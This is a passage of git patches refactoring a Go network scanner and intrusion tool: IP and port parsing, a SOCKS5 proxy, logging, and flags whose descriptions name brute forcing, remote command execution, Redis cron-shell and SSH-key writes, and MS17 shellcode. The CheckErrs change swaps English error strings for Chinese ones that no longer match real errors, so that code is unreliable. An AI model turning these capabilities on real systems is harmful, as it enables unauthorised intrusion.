"192.168.1.1\n" + - "192.168.1.1/8\n" + - "192.168.1.1/16\n" + - "192.168.1.1/24\n" + - "192.168.1.1,192.168.1.2\n" + - "192.168.1.1-192.168.255.255\n" + - "192.168.1.1-255") +var ParseIPErr = errors.New("主机解析错误\n" + + "支持的格式: \n" + + "192.168.1.1 (单个IP)\n" + + "192.168.1.1/8 (8位子网)\n" + + "192.168.1.1/16 (16位子网)\n" + + "192.168.1.1/24 (24位子网)\n" + + "192.168.1.1,192.168.1.2 (IP列表)\n" + + "192.168.1.1-192.168.255.255 (IP范围)\n" + + "192.168.1.1-255 (最后一位简写范围)") +// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { + // 处理主机和端口组合的情况 (192.168.0.0/16:80) if filename == "" && strings.Contains(host, ":") { - //192.168.0.0/16:80 hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] hosts = ParseIPs(host) Ports = hostport[1] + fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) } } else { + // 解析主机地址 hosts = ParseIPs(host) + + // 从文件加载额外主机 if filename != "" { - var filehost []string - filehost, _ = Readipfile(filename) - hosts = append(hosts, filehost...) - } - } - - if len(nohosts) > 0 { - nohost := nohosts[0] - if nohost != "" { - nohosts := ParseIPs(nohost) - if len(nohosts) > 0 { - temp := map[string]struct{}{} - for _, host := range hosts { - temp[host] = struct{}{} - } - - for _, host := range nohosts { - delete(temp, host) - } - - var newDatas []string - for host := range temp { - newDatas = append(newDatas, host) - } - hosts = newDatas - sort.Strings(hosts) + fileHosts, err := Readipfile(filename) + if err != nil { + fmt.Printf("[!] 读取主机文件失败: %v\n", err) + } else { + hosts = append(hosts, fileHosts...) + fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) } } } - hosts = RemoveDuplicate(hosts) - if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { - err = ParseIPErr + + // 处理排除主机 + if len(nohosts) > 0 && nohosts[0] != "" { + excludeHosts := ParseIPs(nohosts[0]) + if len(excludeHosts) > 0 { + // 使用map存储有效主机 + temp := make(map[string]struct{}) + for _, host := range hosts { + temp[host] = struct{}{} + } + + // 删除需要排除的主机 + for _, host := range excludeHosts { + delete(temp, host) + } + + // 重建主机列表 + var newHosts []string + for host := range temp { + newHosts = append(newHosts, host) + } + hosts = newHosts + sort.Strings(hosts) + fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) + } } - return + + // 去重处理 + hosts = RemoveDuplicate(hosts) + fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) + + // 检查解析结果 + if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { + return nil, ParseIPErr + } + + return hosts, nil } func ParseIPs(ip string) (hosts []string) { @@ -85,190 +102,279 @@ func ParseIPs(ip string) (hosts []string) { return hosts } +// parseIP 解析不同格式的IP地址,返回解析后的IP列表 func parseIP(ip string) []string { reg := regexp.MustCompile(`[a-zA-Z]+`) + switch { + // 处理常用内网IP段简写 case ip == "192": return parseIP("192.168.0.0/8") case ip == "172": return parseIP("172.16.0.0/12") case ip == "10": return parseIP("10.0.0.0/8") - // 扫描/8时,只扫网关和随机IP,避免扫描过多IP + + // 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描 case strings.HasSuffix(ip, "/8"): return parseIP8(ip) - //解析 /24 /16 /8 /xxx 等 + + // 处理CIDR格式 (/24 /16 /8等) case strings.Contains(ip, "/"): return parseIP2(ip) - //可能是域名,用lookup获取ip + + // 处理域名 - 保留域名格式 case reg.MatchString(ip): - // _, err := net.LookupHost(ip) - // if err != nil { - // return nil - // } return []string{ip} - //192.168.1.1-192.168.1.100 + + // 处理IP范围格式 (192.168.1.1-192.168.1.100) case strings.Contains(ip, "-"): return parseIP1(ip) - //处理单个ip + + // 处理单个IP地址 default: testIP := net.ParseIP(ip) if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", ip) return nil } return []string{ip} } } -// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x -func parseIP2(host string) (hosts []string) { +// parseIP2 解析CIDR格式的IP地址段 +func parseIP2(host string) []string { + // 解析CIDR _, ipNet, err := net.ParseCIDR(host) if err != nil { - return + fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err) + return nil } - hosts = parseIP1(IPRange(ipNet)) - return + + // 转换为IP范围并解析 + ipRange := IPRange(ipNet) + hosts := parseIP1(ipRange) + + fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange) + return hosts } -// 解析ip段: -// -// 192.168.111.1-255 -// 192.168.111.1-192.168.112.255 +// parseIP1 解析IP范围格式的地址 func parseIP1(ip string) []string { - IPRange := strings.Split(ip, "-") - testIP := net.ParseIP(IPRange[0]) - var AllIP []string - if len(IPRange[1]) < 4 { - Range, err := strconv.Atoi(IPRange[1]) - if testIP == nil || Range > 255 || err != nil { + ipRange := strings.Split(ip, "-") + testIP := net.ParseIP(ipRange[0]) + var allIP []string + + // 处理简写格式 (192.168.111.1-255) + if len(ipRange[1]) < 4 { + endNum, err := strconv.Atoi(ipRange[1]) + if testIP == nil || endNum > 255 || err != nil { + fmt.Printf("[!] IP范围格式错误: %s\n", ip) return nil } - SplitIP := strings.Split(IPRange[0], ".") - ip1, err1 := strconv.Atoi(SplitIP[3]) - ip2, err2 := strconv.Atoi(IPRange[1]) - PrefixIP := strings.Join(SplitIP[0:3], ".") - if ip1 > ip2 || err1 != nil || err2 != nil { + + // 解析IP段 + splitIP := strings.Split(ipRange[0], ".") + startNum, err1 := strconv.Atoi(splitIP[3]) + endNum, err2 := strconv.Atoi(ipRange[1]) + prefixIP := strings.Join(splitIP[0:3], ".") + + if startNum > endNum || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum) return nil } - for i := ip1; i <= ip2; i++ { - AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i)) + + // 生成IP列表 + for i := startNum; i <= endNum; i++ { + allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) } + + fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) } else { - SplitIP1 := strings.Split(IPRange[0], ".") - SplitIP2 := strings.Split(IPRange[1], ".") - if len(SplitIP1) != 4 || len(SplitIP2) != 4 { + // 处理完整IP范围格式 (192.168.111.1-192.168.112.255) + splitIP1 := strings.Split(ipRange[0], ".") + splitIP2 := strings.Split(ipRange[1], ".") + + if len(splitIP1) != 4 || len(splitIP2) != 4 { + fmt.Printf("[!] IP格式错误: %s\n", ip) return nil } + + // 解析起始和结束IP start, end := [4]int{}, [4]int{} for i := 0; i < 4; i++ { - ip1, err1 := strconv.Atoi(SplitIP1[i]) - ip2, err2 := strconv.Atoi(SplitIP2[i]) + ip1, err1 := strconv.Atoi(splitIP1[i]) + ip2, err2 := strconv.Atoi(splitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) return nil } start[i], end[i] = ip1, ip2 } + + // 将IP转换为数值并生成范围内的所有IP startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + for num := startNum; num <= endNum; num++ { - ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) - AllIP = append(AllIP, ip) + ip := strconv.Itoa((num>>24)&0xff) + "." + + strconv.Itoa((num>>16)&0xff) + "." + + strconv.Itoa((num>>8)&0xff) + "." + + strconv.Itoa((num)&0xff) + allIP = append(allIP, ip) } + + fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) } - return AllIP + + return allIP } -// 获取起始IP、结束IP +// IPRange 计算CIDR的起始IP和结束IP func IPRange(c *net.IPNet) string { + // 获取起始IP start := c.IP.String() + + // 获取子网掩码 mask := c.Mask + + // 计算广播地址(结束IP) bcst := make(net.IP, len(c.IP)) copy(bcst, c.IP) + + // 通过位运算计算最大IP地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() - return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255 + + // 返回"起始IP-结束IP"格式的字符串 + result := fmt.Sprintf("%s-%s", start, end) + fmt.Printf("[*] CIDR范围: %s\n", result) + + return result } -// 按行读ip +// Readipfile 从文件中按行读取IP地址 func Readipfile(filename string) ([]string, error) { + // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("Open %s error, %v", filename, err) - os.Exit(0) + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return nil, err } defer file.Close() + var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + + // 逐行处理IP for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) - if line != "" { - text := strings.Split(line, ":") - if len(text) == 2 { - port := strings.Split(text[1], " ")[0] - num, err := strconv.Atoi(port) - if err != nil || (num < 1 || num > 65535) { - continue - } - hosts := ParseIPs(text[0]) - for _, host := range hosts { - HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) - } - } else { - host := ParseIPs(line) - content = append(content, host...) + if line == "" { + continue + } + + // 解析IP:端口格式 + text := strings.Split(line, ":") + if len(text) == 2 { + port := strings.Split(text[1], " ")[0] + num, err := strconv.Atoi(port) + if err != nil || num < 1 || num > 65535 { + fmt.Printf("[!] 忽略无效端口: %s\n", line) + continue } + + // 解析带端口的IP地址 + hosts := ParseIPs(text[0]) + for _, host := range hosts { + HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) + } + fmt.Printf("[*] 已解析IP端口组合: %s\n", line) + } else { + // 解析纯IP地址 + hosts := ParseIPs(line) + content = append(content, hosts...) + fmt.Printf("[*] 已解析IP地址: %s\n", line) } } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件时出错: %v\n", err) + return content, err + } + + fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) return content, nil } -// 去重 +// RemoveDuplicate 对字符串切片进行去重 func RemoveDuplicate(old []string) []string { - result := []string{} - temp := map[string]struct{}{} + // 使用map存储不重复的元素 + temp := make(map[string]struct{}) + var result []string + + // 遍历并去重 for _, item := range old { - if _, ok := temp[item]; !ok { + if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } + return result } +// parseIP8 解析/8网段的IP地址 func parseIP8(ip string) []string { + // 去除CIDR后缀获取基础IP realIP := ip[:len(ip)-2] testIP := net.ParseIP(realIP) if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP) return nil } - IPrange := strings.Split(ip, ".")[0] - var AllIP []string + // 获取/8网段的第一段 + ipRange := strings.Split(ip, ".")[0] + var allIP []string + + fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) + + // 遍历所有可能的第二、三段 for a := 0; a <= 255; a++ { for b := 0; b <= 255; b++ { - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 1)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 2)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 4)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 5)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(6, 55))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(56, 100))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(101, 150))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(151, 200))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(201, 253))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 254)) + // 添加常用网关IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器 + + // 随机采样不同范围的IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前 } } - return AllIP + + fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) + return allIP } +// RandInt 生成指定范围内的随机整数 func RandInt(min, max int) int { + // 参数验证 if min >= max || min == 0 || max == 0 { return max } + + // 生成随机数 return rand.Intn(max-min) + min } From ec346409f7db840d3a760fdd36b5f3fdb5ccfadc Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:19:40 +0800 Subject: [PATCH 13/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ParsePort.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParsePort.go | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) diff --git a/Common/ParsePort.go b/Common/ParsePort.go index cec40e8..9363913 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -1,32 +1,46 @@ package Common import ( + "fmt" + "sort" "strconv" "strings" ) -func ParsePort(ports string) (scanPorts []int) { +// ParsePort 解析端口配置字符串为端口号列表 +func ParsePort(ports string) []int { if ports == "" { - return + return nil } + + var scanPorts []int slices := strings.Split(ports, ",") + + // 处理每个端口配置 for _, port := range slices { port = strings.TrimSpace(port) if port == "" { continue } + + // 处理预定义端口组 if PortGroup[port] != "" { - port = PortGroup[port] - scanPorts = append(scanPorts, ParsePort(port)...) + groupPorts := ParsePort(PortGroup[port]) + scanPorts = append(scanPorts, groupPorts...) + fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts) continue } + + // 处理端口范围 upper := port if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { + fmt.Printf("[!] 无效的端口范围格式: %s\n", port) continue } + // 确保起始端口小于结束端口 startPort, _ := strconv.Atoi(ranges[0]) endPort, _ := strconv.Atoi(ranges[1]) if startPort < endPort { @@ -37,27 +51,40 @@ func ParsePort(ports string) (scanPorts []int) { upper = ranges[0] } } + + // 生成端口列表 start, _ := strconv.Atoi(port) end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { + fmt.Printf("[!] 忽略无效端口: %d\n", i) continue } scanPorts = append(scanPorts, i) } } + + // 去重并排序 scanPorts = removeDuplicate(scanPorts) + sort.Ints(scanPorts) + + fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) return scanPorts } +// removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { - result := []int{} - temp := map[int]struct{}{} + // 使用map存储不重复的元素 + temp := make(map[int]struct{}) + var result []int + + // 遍历并去重 for _, item := range old { - if _, ok := temp[item]; !ok { + if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } + return result } From 9433741471669d7811dc7de83e1a5a44ba8bd4f6 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:20:45 +0800 Subject: [PATCH 14/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Proxy.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/proxy.go | 69 +++++++++++++++++++++++++++++-------------------- 1 file changed, 41 insertions(+), 28 deletions(-) diff --git a/common/proxy.go b/common/proxy.go index 69a27e5..f8af40e 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -2,6 +2,7 @@ package Common import ( "errors" + "fmt" "golang.org/x/net/proxy" "net" "net/url" @@ -9,57 +10,69 @@ import ( "time" ) +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { d := &net.Dialer{Timeout: timeout} return WrapperTCP(network, address, d) } +// WrapperTCP 根据配置创建TCP连接 func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { - //get conn - var conn net.Conn + // 直连模式 if Socks5Proxy == "" { - var err error - conn, err = forward.Dial(network, address) + conn, err := forward.Dial(network, address) if err != nil { - return nil, err - } - } else { - dailer, err := Socks5Dailer(forward) - if err != nil { - return nil, err - } - conn, err = dailer.Dial(network, address) - if err != nil { - return nil, err + return nil, fmt.Errorf("建立TCP连接失败: %v", err) } + return conn, nil } - return conn, nil + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil } -func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) { +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL u, err := url.Parse(Socks5Proxy) if err != nil { - return nil, err + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) } + + // 验证代理类型 if strings.ToLower(u.Scheme) != "socks5" { - return nil, errors.New("Only support socks5") + return nil, errors.New("仅支持socks5代理") } + address := u.Host - var auth proxy.Auth - var dailer proxy.Dialer + var dialer proxy.Dialer + + // 根据认证信息创建代理 if u.User.String() != "" { - auth = proxy.Auth{} - auth.User = u.User.Username() - password, _ := u.User.Password() - auth.Password = password - dailer, err = proxy.SOCKS5("tcp", address, &auth, forward) + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) } else { - dailer, err = proxy.SOCKS5("tcp", address, nil, forward) + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) } if err != nil { - return nil, err + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) } - return dailer, nil + + return dialer, nil } From 1d0676e508d4ffe963bda8a1c06668de82f18c7c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:24:11 +0800 Subject: [PATCH 15/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Log.go=E7=9A=84?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8=E9=87=8A?= =?UTF-8?q?=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/log.go | 103 +++++++++++++++++++++++++++++++------------------- 1 file changed, 65 insertions(+), 38 deletions(-) diff --git a/common/log.go b/common/log.go index 78db646..5669298 100644 --- a/common/log.go +++ b/common/log.go @@ -12,49 +12,60 @@ import ( "time" ) -var Num int64 -var End int64 -var Results = make(chan *string) -var LogSucTime int64 -var LogErrTime int64 -var WaitTime int64 -var Silent bool -var Nocolor bool -var JsonOutput bool -var LogWG sync.WaitGroup +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) +// JsonText JSON输出的结构体 type JsonText struct { - Type string `json:"type"` - Text string `json:"text"` + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 } +// init 初始化日志配置 func init() { log.SetOutput(io.Discard) LogSucTime = time.Now().Unix() go SaveLog() } +// LogSuccess 记录成功信息 func LogSuccess(result string) { LogWG.Add(1) LogSucTime = time.Now().Unix() Results <- &result } +// SaveLog 保存日志信息 func SaveLog() { for result := range Results { + // 打印日志 if !Silent { if Nocolor { fmt.Println(*result) } else { - if strings.HasPrefix(*result, "[+] InfoScan") { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): color.Green(*result) - } else if strings.HasPrefix(*result, "[+]") { + case strings.HasPrefix(*result, "[+]"): color.Red(*result) - } else { + default: fmt.Println(*result) } } } + + // 保存到文件 if IsSave { WriteFile(*result, Outputfile) } @@ -62,17 +73,20 @@ func SaveLog() { } } +// WriteFile 写入文件 func WriteFile(result string, filename string) { + // 打开文件 fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) return } + defer fl.Close() + if JsonOutput { - var scantype string - var text string + // 解析JSON格式 + var scantype, text string if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - //找到第二个空格的位置 index := strings.Index(result[4:], " ") if index == -1 { scantype = "msg" @@ -85,61 +99,74 @@ func WriteFile(result string, filename string) { scantype = "msg" text = result } + + // 构造JSON对象 jsonText := JsonText{ Type: scantype, Text: text, } + + // 序列化JSON jsonData, err := json.Marshal(jsonText) if err != nil { - fmt.Println(err) + fmt.Printf("[!] JSON序列化失败: %v\n", err) jsonText = JsonText{ Type: "msg", Text: result, } - jsonData, err = json.Marshal(jsonText) - if err != nil { - fmt.Println(err) - jsonData = []byte(result) - } + jsonData, _ = json.Marshal(jsonText) } jsonData = append(jsonData, []byte(",\n")...) _, err = fl.Write(jsonData) } else { _, err = fl.Write([]byte(result + "\n")) } - fl.Close() + if err != nil { - fmt.Printf("Write %s error, %v\n", filename, err) + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) } } +// LogError 记录错误信息 func LogError(errinfo interface{}) { if WaitTime == 0 { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) LogErrTime = time.Now().Unix() } } +// CheckErrs 检查是否为已知错误 func CheckErrs(err error) bool { if err == nil { return false } + + // 已知错误列表 errs := []string{ - "closed by the remote host", "too many connections", - "i/o timeout", "EOF", "A connection attempt failed", - "established connection failed", "connection attempt failed", - "Unable to read", "is not allowed to connect to this", - "no pg_hba.conf entry", - "No connection could be made", - "invalid packet size", - "bad connection", + "远程主机关闭连接", + "连接数过多", + "连接超时", + "EOF", + "连接尝试失败", + "建立连接失败", + "无法连接", + "无法读取数据", + "不允许连接", + "无pg_hba.conf配置项", + "无法建立连接", + "无效的数据包大小", + "连接异常", } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) for _, key := range errs { - if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) { + if strings.Contains(errLower, strings.ToLower(key)) { return true } } + return false } From 66125a3a2d312663356d1511e0f745f3725f79d2 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:25:22 +0800 Subject: [PATCH 16/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Flag.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/flag.go | 121 +++++++++++++++++++++++++++++-------------------- 1 file changed, 71 insertions(+), 50 deletions(-) diff --git a/common/flag.go b/common/flag.go index d941ff0..bdbf244 100644 --- a/common/flag.go +++ b/common/flag.go @@ -19,55 +19,76 @@ func Banner() { func Flag(Info *Config.HostInfo) { Banner() - flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") - flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") - flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") - flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") - flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") - flag.StringVar(&Domain, "domain", "", "smb domain") - flag.StringVar(&Username, "user", "", "username") - flag.StringVar(&Password, "pwd", "", "password") - flag.Int64Var(&Timeout, "time", 3, "Set timeout") - flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") - flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") - flag.IntVar(&Threads, "t", 600, "Thread nums") - flag.IntVar(&LiveTop, "top", 10, "show live len top") - flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") - flag.StringVar(&Userfile, "userf", "", "username file") - flag.StringVar(&Passfile, "pwdf", "", "password file") - flag.StringVar(&Hashfile, "hashf", "", "hash file") - flag.StringVar(&PortFile, "portf", "", "Port File") - flag.StringVar(&PocPath, "pocpath", "", "poc file path") - flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") - flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") - flag.BoolVar(&NoPoc, "nopoc", false, "not to scan web vul") - flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") - flag.IntVar(&BruteThread, "br", 1, "Brute threads") - flag.BoolVar(&NoPing, "np", false, "not to ping") - flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") - flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") - flag.BoolVar(&TmpSave, "no", false, "not to save output log") - flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") - flag.BoolVar(&Silent, "silent", false, "silent scan") - flag.BoolVar(&Nocolor, "nocolor", false, "no color") - flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") - flag.StringVar(&URL, "u", "", "url") - flag.StringVar(&UrlFile, "uf", "", "urlfile") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") - flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") - flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") - flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") - flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") - flag.IntVar(&PocNum, "num", 20, "poc rate") - flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") - flag.BoolVar(&IsWmi, "wmi", false, "start wmi") - flag.StringVar(&Hash, "hash", "", "hash") - flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test") - flag.BoolVar(&JsonOutput, "json", false, "json output") + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", 